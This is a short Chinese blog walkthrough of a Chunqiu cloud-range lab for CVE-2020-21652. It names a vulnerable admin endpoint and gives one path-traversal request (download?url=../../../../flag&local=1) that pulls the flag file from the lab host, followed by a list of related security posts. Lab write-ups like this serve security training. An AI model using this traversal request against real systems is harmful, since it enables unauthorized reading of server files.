春秋云境CVE-2020-21652(极速版)

1.阅读靶场介绍

这里可以得到的有用信息就是

路径:admin.php/point/addqq

方法:存在任意命令执行漏洞

2.启动靶场

我们会得到一个如下的页面

接下来我们直接上poc,访问这个路径

eci-2zegea1j3i7cgoqtc8q8.cloudeci1.ichunqiu.com:80/index.php/bbs/index/download?url=../../../../flag&local=1&name

我们就能下载flag了

到此又要恭喜各位博主攻克一个靶场了

感谢你们宝贵的时间

期待博主攻克任何靶场的话,欢迎留言

相关推荐
萧瑟余晖1 分钟前
Spring Security综合实战与安全加固详解
java·安全·spring
广东帝工2 分钟前
如何保障智慧航道的安全
安全
其实防守也摸鱼18 分钟前
Linux文本处理命令理论学习
linux·服务器·前端·数据库·sql·学习·安全
一条泥憨鱼28 分钟前
【计算机网络】| 从 MAC 到 NAT 的跨网段通信全链路
服务器·网络·学习·计算机网络·macos
Moyu_Friday29 分钟前
网络安全基础-计算机网络应用与协议
网络协议·计算机网络
狂师1 小时前
2026年安全测试工具大全,15款主流工具一次看懂
安全·测试
qq_443132411 小时前
运营商网络安全监测项目厂商选择要点与建设思路
安全·web安全
是真的小外套1 小时前
第18章:网络安全测评技术与标准
安全·web安全
weixin_446260851 小时前
LLM‑SafeOrbit:面向工具调用智能体的安全轨道约束防护框架
安全
一条泥憨鱼2 小时前
AI Agent 安全实践:从 MCP 工具调用到 Java 权限校验
java·人工智能·安全